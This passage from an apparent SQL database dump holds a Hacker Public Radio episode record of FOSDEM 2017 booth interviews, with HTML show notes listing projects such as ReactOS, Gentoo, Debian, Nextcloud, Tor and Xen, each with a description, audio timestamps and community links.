illumos, OpenSUSE, CentOS, Fedora Project',0,0,1),
(2223,'2017-02-08','FOSDEM 2017 K (level 1, group B and C)',6873,'Ken interviews the projects in Group B and C of the the K building level 1','<h1>Table of Contents</h1>\r\n<ul>\r\n<li><a href=\"#K1B.1a\">ReactOS</a></li>\r\n<li><a href=\"#K1B.1b\">Haiku</a></li>\r\n<li><a href=\"#K1B.2\">Gentoo</a></li>\r\n<li><a href=\"#K1B.3\">CoreOS Linux</a></li>\r\n<li><a href=\"#K1B.4\">Debian</a></li>\r\n<li><a href=\"#K1B.5\">PostgreSQL</a></li>\r\n<li><a href=\"#K1B.6\">Nextcloud</a></li>\r\n<li><a href=\"#K1B.7\">Bazel</a></li>\r\n<li><a href=\"#K1B.8a\">Open Build Service</a></li>\r\n<li><a href=\"#K1B.8b\">OpenQA</a></li>\r\n<li><a href=\"#K1C.1\">Free Software Foundation Europe</a></li>\r\n<li><a href=\"#K1C.3\">Vikings</a></li>\r\n<li><a href=\"#K1C.4a\">Tor Project</a></li>\r\n<li><a href=\"#K1C.4b\">Tails Project</a></li>\r\n<li><a href=\"#K1C.4c\">Frënn vun der Ënn</a></li>\r\n<li><a href=\"#K1C.4d\">Nos oignons</a></li>\r\n<li><a href=\"#K1C.5\">Xen Project</a></li>\r\n<li><a href=\"#K1C.6\">OpenStack</a></li>\r\n<li><a href=\"#K1C.7a\">oVirt</a></li>\r\n<li><a href=\"#K1C.7b\">Foreman</a></li>\r\n<li><a href=\"#K1C.8\">Gluster</a></li>\r\n<li><a href=\"#K1C.9\">ownCloud</a></li>\r\n<li><a href=\"#K1C.10a\">CAcert</a></li>\r\n<li><a href=\"#K1C.10b\">secure-u</a></li>\r\n</ul>\r\n\r\n\r\n<hr />\r\n<h2 id=\"K1B.1a\" ><img alt=\"ReactOS\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.1a.jpg\"/></h2>\r\n<p><a href=\"https://www.reactos.org/\">https://www.reactos.org/</a></p>\r\n<blockquote>\r\nReactOS® is a free open source operating system based on the best design principles found in the Windows NT® architecture (Windows versions such as Windows XP, Windows 7, Windows Server 2012 are built on Windows NT architecture). Written completely from scratch, ReactOS is not a Linux based system, and shares none of the UNIX architecture. The main goal of the ReactOS® project is to provide an operating system which is binary compatible with Windows.\r\n</blockquote>\r\n<h3>Listen to the interview with Colin Finck</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=77.000000,338.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=77.000000,338.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/ReactOS\">https://en.wikipedia.org/wiki/ReactOS</a></li>\r\n<li>IRC: <a href=\"https://www.reactos.org/irc\">https://www.reactos.org/irc</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/100586191925430460947\">https://plus.google.com/100586191925430460947</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/3977523/\">https://www.linkedin.com/company-beta/3977523/</a></li>\r\n<li>Mailinglist: <a href=\"https://www.reactos.org/community/mailing-lists\">https://www.reactos.org/community/mailing-lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/reactos\">https://twitter.com/reactos</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/pages/ReactOS/19143619259\">https://www.facebook.com/pages/ReactOS/19143619259</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCMo8NP-2oP35rauon-Duc9Q\">https://www.youtube.com/channel/UCMo8NP-2oP35rauon-Duc9Q</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.1b\" ><img alt=\"Haiku\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.1b.jpg\"/></h2>\r\n<p><a href=\"https://www.haiku-os.org/\">https://www.haiku-os.org/</a></p>\r\n<blockquote>\r\nHaiku is an open-source operating system that specifically targets personal computing. Inspired by the BeOS, Haiku is fast, simple to use, easy to learn and yet very powerful.\r\n</blockquote>\r\n<h3>Listen to the interview with François Revol</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=347.000000,774.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=347.000000,774.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Haiku_(operating_system)\">https://en.wikipedia.org/wiki/Haiku_(operating_system)</a></li>\r\n<li>IRC: <a href=\"https://www.haiku-os.org/community/irc\">https://www.haiku-os.org/community/irc</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/116050756631351429142\">https://plus.google.com/communities/116050756631351429142</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/haiku-inc-\">https://www.linkedin.com/company/haiku-inc-</a></li>\r\n<li>Mailinglist: <a href=\"https://www.haiku-os.org/community/ml\">https://www.haiku-os.org/community/ml</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/haikuOS\">https://twitter.com/haikuOS</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/groups/haikuosgroup/\">https://www.facebook.com/groups/haikuosgroup/</a></li>\r\n<li>YouTube: <a href=\"https://youtube.com/user/haikuos\">https://youtube.com/user/haikuos</a></li>\r\n<li>About: <a href=\"https://www.haiku-os.org/about/\">https://www.haiku-os.org/about/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.2\" ><img alt=\"Gentoo\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.2.jpg\"/></h2>\r\n<p><a href=\"https://www.gentoo.org/\">https://www.gentoo.org/</a></p>\r\n<blockquote>\r\nGentoo is a free operating system based on either Linux or FreeBSD that can be automatically optimized and customized for just about any application or need. Extreme configurability, performance and a top notch user and developer community are all hallmarks of the Gentoo experience.\r\n</blockquote>\r\n<h3>Listen to the interview with Matthew Thode</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=783.000000,1069.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=783.000000,1069.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Gentoo_Linux\">https://en.wikipedia.org/wiki/Gentoo_Linux</a></li>\r\n<li>IRC: <a href=\"https://www.gentoo.org/get-involved/irc-channels/\">https://www.gentoo.org/get-involved/irc-channels/</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+Gentoo\">https://plus.google.com/+Gentoo</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/16350/\">https://www.linkedin.com/company-beta/16350/</a></li>\r\n<li>Mailinglist: <a href=\"https://www.gentoo.org/get-involved/mailing-lists/\">https://www.gentoo.org/get-involved/mailing-lists/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/gentoo\">https://twitter.com/gentoo</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/gentoo.org\">https://www.facebook.com/gentoo.org</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.3\" ><img alt=\"CoreOS Linux\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.3.jpg\"/></h2>\r\n<p><a href=\"https://coreos.com/\">https://coreos.com/</a></p>\r\n<blockquote>\r\nContainer Linux by CoreOS (formerly CoreOS Linux) is an open-source lightweight operating system based on the Linux kernel and designed for providing infrastructure to clustered deployments, while focusing on automation, ease of application deployment, security, reliability and scalability. As an OS, Container Linux provides only the minimal functionality required for deploying applications inside software containers, together with built-in mechanisms for service discovery and configuration sharing.\r\n</blockquote>\r\n<h3>Listen to the interview with Brian Redbeard</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=1078.000000,1338.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=1078.000000,1338.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/CoreOS\">https://en.wikipedia.org/wiki/CoreOS</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=coreos\">https://webchat.freenode.net/?channels=coreos</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+Coreos\">https://plus.google.com/+Coreos</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/3323899/\">https://www.linkedin.com/company-beta/3323899/</a></li>\r\n<li>Mailinglist: <a href=\"https://groups.google.com/forum/#!forum/coreos-user\">https://groups.google.com/forum/#!forum/coreos-user</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/coreos/\">https://twitter.com/coreos/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/coreoslinux\">https://www.youtube.com/user/coreoslinux</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.4\" ><img alt=\"Debian\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.4.jpg\"/></h2>\r\n<p><a href=\"https://www.debian.org/\">https://www.debian.org/</a></p>\r\n<blockquote>\r\nDebian is a free operating system (OS) for your computer. An operating system is the set of basic programs and utilities that make your computer run.\r\n</blockquote>\r\n<h3>Listen to the interview with Sebastiaan Couwenberg</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=1347.000000,1565.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=1347.000000,1565.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Debian\">https://en.wikipedia.org/wiki/Debian</a></li>\r\n<li>IRC: <a href=\"https://wiki.debian.org/IRC\">https://wiki.debian.org/IRC</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/163400/\">https://www.linkedin.com/company-beta/163400/</a></li>\r\n<li>Mailinglist: <a href=\"https://www.debian.org/MailingLists/\">https://www.debian.org/MailingLists/</a></li>\r\n<li>RSS: <a href=\"https://www.debian.org/News/news\">https://www.debian.org/News/news</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/debian\">https://twitter.com/debian</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.5\" ><img alt=\"PostgreSQL\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.5.jpg\"/></h2>\r\n<p><a href=\"https://www.postgresql.org/\">https://www.postgresql.org/</a></p>\r\n<blockquote>\r\nPostgreSQL is a powerful, open source object-relational database system. It has more than 15 years of active development and a proven architecture that has earned it a strong reputation for reliability, data integrity, and correctness. It runs on all major operating systems, including Linux, UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64), and Windows. It is fully ACID compliant, has full support for foreign keys, joins, views, triggers, and stored procedures (in multiple languages).\r\n</blockquote>\r\n<h3>Listen to the interview with Robert Juens</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=1574.000000,1940.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=1574.000000,1940.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/PostgreSQL\">https://en.wikipedia.org/wiki/PostgreSQL</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/PostgreSQL\">https://twitter.com/PostgreSQL</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.6\" ><img alt=\"Nextcloud\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.6.jpg\"/></h2>\r\n<p><a href=\"https://nextcloud.com\">https://nextcloud.com</a></p>\r\n<blockquote>\r\nNextcloud is a suite of client-server software for creating file hosting services and using them. It is functionally very similar to the widely used Dropbox, with the primary functional difference being that Nextcloud is free and open-source, and thereby allowing anyone to install and operate it without charge on a private server. In contrast to proprietary services like Dropbox, the open architecture allows adding additional functionality to the server in form of so-called applications.\r\n</blockquote>\r\n<h3>Listen to the interview with Frank Karlitschek</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=1949.000000,2339.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=1949.000000,2339.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/nextcloud\">https://github.com/nextcloud</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Nextcloud\">https://en.wikipedia.org/wiki/Nextcloud</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=nextcloud\">https://webchat.freenode.net/?channels=nextcloud</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/b/104036748063781940910/104036748063781940910/about\">https://plus.google.com/b/104036748063781940910/104036748063781940910/about</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/10827569/\">https://www.linkedin.com/company-beta/10827569/</a></li>\r\n<li>Mailinglist: <a href=\"help.nextcloud.com\">help.nextcloud.com</a></li>\r\n<li>RSS: <a href=\"https://nextcloud.com/blogfeed\">https://nextcloud.com/blogfeed</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/nextclouders\">https://twitter.com/nextclouders</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/Nextcloud-1032807203462807/\">https://www.facebook.com/Nextcloud-1032807203462807/</a></li>\r\n<li>YouTube: <a href=\"https://youtube.com/nextcloud\">https://youtube.com/nextcloud</a></li>\r\n<li>About: <a href=\"https://nextcloud.com/about\">https://nextcloud.com/about</a></li>\r\n<li>Reddit: <a href=\"https://www.reddit.com/r/NextCloud/\">https://www.reddit.com/r/NextCloud/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.7\" ><img alt=\"Bazel\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.7.jpg\"/></h2>\r\n<p><a href=\"https://bazel.build/\">https://bazel.build/</a></p>\r\n<blockquote>\r\nBazel is Google\'s own build tool, now publicly available in Beta. Bazel has built-in support for building both client and server software, including client applications for both Android and iOS platforms. It also provides an extensible framework that you can use to develop your own build rules.\r\n</blockquote>\r\n<h3>Listen to the interview with David Stanke</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=2348.000000,2630.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=2348.000000,2630.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/bazelbuild/bazel\">https://github.com/bazelbuild/bazel</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Bazel_(software)\">https://en.wikipedia.org/wiki/Bazel_(software)</a></li>\r\n<li>Mailinglist: <a href=\"https://groups.google.com/forum/#!forum/bazel-discuss\">https://groups.google.com/forum/#!forum/bazel-discuss</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/bazelbuild\">https://twitter.com/bazelbuild</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.8a\" ><img alt=\"Open Build Service\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.8a.jpg\"/></h2>\r\n<p><a href=\"https://openbuildservice.org/\">https://openbuildservice.org/</a></p>\r\n<blockquote>\r\nThe Open Build Service (OBS) is a generic system to build and distribute binary packages from sources in an automatic, consistent and reproducible way. You can release packages as well as updates, add-ons, appliances and entire distributions for a wide range of operating systems and hardware architectures.\r\n</blockquote>\r\n<h3>Listen to the interview with Richard Brown</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=2639.000000,3049.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=2639.000000,3049.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Open_Build_Service\">https://en.wikipedia.org/wiki/Open_Build_Service</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=openSUSE-buildservice\">https://webchat.freenode.net/?channels=openSUSE-buildservice</a></li>\r\n<li>Mailinglist: <a href=\"opensuse-buildservice+subscribe@opensuse.org\">opensuse-buildservice+subscribe@opensuse.org</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1B.8b\" ><img alt=\"OpenQA\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1B.8b.jpg\"/></h2>\r\n<p><a href=\"https://openqa.opensuse.org/\">https://openqa.opensuse.org/</a></p>\r\n<blockquote>\r\nopenQA is an automated test tool for operating systems and the engine at the heart of openSUSE\'s automated testing initiative.\r\n</blockquote>\r\n<h3>Listen to the interview with Richard Brown</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=2635.000000,3045.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=2635.000000,3045.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=openSUSE-factory\">https://webchat.freenode.net/?channels=openSUSE-factory</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.1\" ><img alt=\"Free Software Foundation Europe\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.1.jpg\"/></h2>\r\n<p><a href=\"https://fsfe.org/index.en.html\">https://fsfe.org/index.en.html</a></p>\r\n<blockquote>\r\nFree Software Foundation Europe is a charity that empowers users to control technology. Software is deeply involved in all aspects of our lives; and it is important that this technology empowers rather than restricts us. Free Software gives everybody the rights to use, understand, adapt and share software.These rights help support other fundamental freedoms like freedom of speech, press and privacy.\r\n</blockquote>\r\n<h3>Listen to the interview with Florian Snow</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=3054.000000,3198.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=3054.000000,3198.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Free_Software_Foundation_Europe\">https://en.wikipedia.org/wiki/Free_Software_Foundation_Europe</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=fsfe\">https://webchat.freenode.net/?channels=fsfe</a></li>\r\n<li>Mailinglist: <a href=\"https://fsfe.org/contact/community.html\">https://fsfe.org/contact/community.html</a></li>\r\n<li>RSS: <a href=\"https://fsfe.org/news/news.rss\">https://fsfe.org/news/news.rss</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/fsfe\">https://twitter.com/fsfe</a></li>\r\n<li>Facebook: <a href=\"https://facebook.com/thefsfe\">https://facebook.com/thefsfe</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.3\" ><img alt=\"Vikings\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.3.jpg\"/></h2>\r\n<p><a href=\"https://vikings.net/ \">https://vikings.net/ </a></p>\r\n<blockquote>\r\nLibre Hosting Provider\r\n</blockquote>\r\n<h3>Listen to the interview with Thomas Umbach</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=3207.000000,3648.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=3207.000000,3648.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2223_K1C.3_Vikings_pizzabox.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.3_Vikings_pizzabox_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2223_K1C.3_Vikings_tower.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.3_Vikings_tower_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=vikings\">https://webchat.freenode.net/?channels=vikings</a></li>\r\n<li>Mailinglist: <a href=\"https://lists.vikings.net\">https://lists.vikings.net</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/VIKINGSlibre\">https://twitter.com/VIKINGSlibre</a></li>\r\n<li>FediVerse: <a href=\"https://quitter.se/vikings\">https://quitter.se/vikings</a></li>\r\n<li>Reddit: <a href=\"https://www.reddit.com/r/vikingslibre/ & https://www.reddit.com/r/VikingsDeutsch/\">https://www.reddit.com/r/vikingslibre/ & https://www.reddit.com/r/VikingsDeutsch/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.4a\" ><img alt=\"Tor Project\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.4a.jpg\"/></h2>\r\n<p><a href=\"https://www.torproject.org/\">https://www.torproject.org/</a></p>\r\n<blockquote>\r\nTor is free software and an open network that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security.\r\n</blockquote>\r\n<h3>Listen to the interview with A Volunteer at the Booth</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=3657.000000,4121.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=3657.000000,4121.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>IRC: <a href=\"https://www.torproject.org/about/contact.html.en#irc\">https://www.torproject.org/about/contact.html.en#irc</a></li>\r\n<li>Mailinglist: <a href=\"https://www.torproject.org/docs/documentation.html.en#MailingLists\">https://www.torproject.org/docs/documentation.html.en#MailingLists</a></li>\r\n<li>Twitter: <a href=\"https://www.torproject.org/about/contact.html.en#twitter\">https://www.torproject.org/about/contact.html.en#twitter</a></li>\r\n<li>About: <a href=\"https://www.torproject.org/about/overview.html.en\">https://www.torproject.org/about/overview.html.en</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.4b\" ><img alt=\"Tails Project\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.4b.jpg\"/></h2>\r\n<p><a href=\"https://tails.boum.org/\">https://tails.boum.org/</a></p>\r\n<blockquote>\r\nTails is a live operating system that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity, and helps you to: use the Internet anonymously and circumvent censorship; all connections to the Internet are forced to go through the Tor network; leave no trace on the computer you are using unless you ask it explicitly; use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.\r\n</blockquote>\r\n<h3>Listen to the interview with A Volunteer at the Booth</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=3657.000000,4121.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=3657.000000,4121.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>IRC: <a href=\"https://tails.boum.org/support/chat/index.en.html\">https://tails.boum.org/support/chat/index.en.html</a></li>\r\n<li>Mailinglist: <a href=\"https://tails.boum.org/about/contact/index.en.html#index1h1\">https://tails.boum.org/about/contact/index.en.html#index1h1</a></li>\r\n<li>About: <a href=\"https://tails.boum.org/about/index.en.html\">https://tails.boum.org/about/index.en.html</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.4c\" ><img alt=\"Frënn vun der Ënn\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.4c.jpg\"/></h2>\r\n<p><a href=\"https://www.enn.lu/\">https://www.enn.lu/</a></p>\r\n<blockquote>\r\nLuxembourg based non-profit organization defending civil rights on the internet. We provide high-bandwidth Tor nodes all over the world to protect online privacy, anonymity, freedom of speech and fight censorship!\r\n</blockquote>\r\n<h3>Listen to the interview with A Volunteer at the Booth</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=3657.000000,4121.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=3657.000000,4121.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Mailinglist: <a href=\"https://lists.enn.lu/listinfo/discuss\">https://lists.enn.lu/listinfo/discuss</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/FrennVunDerEnn\">https://twitter.com/FrennVunDerEnn</a></li>\r\n<li>About: <a href=\"https://wiki.enn.lu/doku.php?id=news\">https://wiki.enn.lu/doku.php?id=news</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.4d\" ><img alt=\"Nos oignons\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.4d.jpg\"/></h2>\r\n<p><a href=\"https://nos-oignons.net/Services/index.en.html\">https://nos-oignons.net/Services/index.en.html</a></p>\r\n<blockquote>\r\nNos oignons is a not-for-profit organization created to collect donations in order to run Tor exit nodes. Tor enables users to create anonymous connections and bypass censorship on the Internet. Tor is at the same time a piece of software, a network of relays made of more than 7,000 servers and a project around which fortyish people gravitate.\r\n</blockquote>\r\n<h3>Listen to the interview with A Volunteer at the Booth</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=3657.000000,4121.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=3657.000000,4121.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Twitter: <a href=\"https://twitter.com/NosOignons\">https://twitter.com/NosOignons</a></li>\r\n<li>FediVerse: <a href=\"https://identi.ca/nosoignons\">https://identi.ca/nosoignons</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.5\" ><img alt=\"Xen Project\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.5.jpg\"/></h2>\r\n<p><a href=\"https://www.xenproject.org/\">https://www.xenproject.org/</a></p>\r\n<blockquote>\r\nThe Xen ProjectTM is the leading open source virtualization platform that is powering some of the largest clouds in production today. Amazon Web Services, Aliyun, Rackspace Public Cloud, Verizon Cloud and many hosting services use Xen Project software. Plus, it is integrated into multiple cloud orchestration projects like OpenStack.\r\n</blockquote>\r\n<h3>Listen to the interview with Julien Fontanet</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=4130.000000,4297.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=4130.000000,4297.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://www.xenproject.org/source-code.html\">https://www.xenproject.org/source-code.html</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Xen\">https://en.wikipedia.org/wiki/Xen</a></li>\r\n<li>IRC: <a href=\"https://www.xenproject.org/irc.html\">https://www.xenproject.org/irc.html</a></li>\r\n<li>Mailinglist: <a href=\"https://www.xenproject.org/mailing-list.html\">https://www.xenproject.org/mailing-list.html</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.6\" ><img alt=\"OpenStack\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.6.jpg\"/></h2>\r\n<p><a href=\"https://www.openstack.org/\">https://www.openstack.org/</a></p>\r\n<blockquote>\r\nOpen source software for creating private and public clouds. OpenStack software controls large pools of compute, storage, and networking resources throughout a datacenter, managed through a dashboard or via the OpenStack API. OpenStack works with popular enterprise and open source technologies making it ideal for heterogeneous infrastructure. Hundreds of the world\'s largest brands rely on OpenStack to run their businesses every day, reducing costs and helping them move faster.\r\n</blockquote>\r\n<h3>Listen to the interview with Aurélien Joga</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=4308.000000,4620.000000\" type=\"audio/ogg\">\r\n  <source 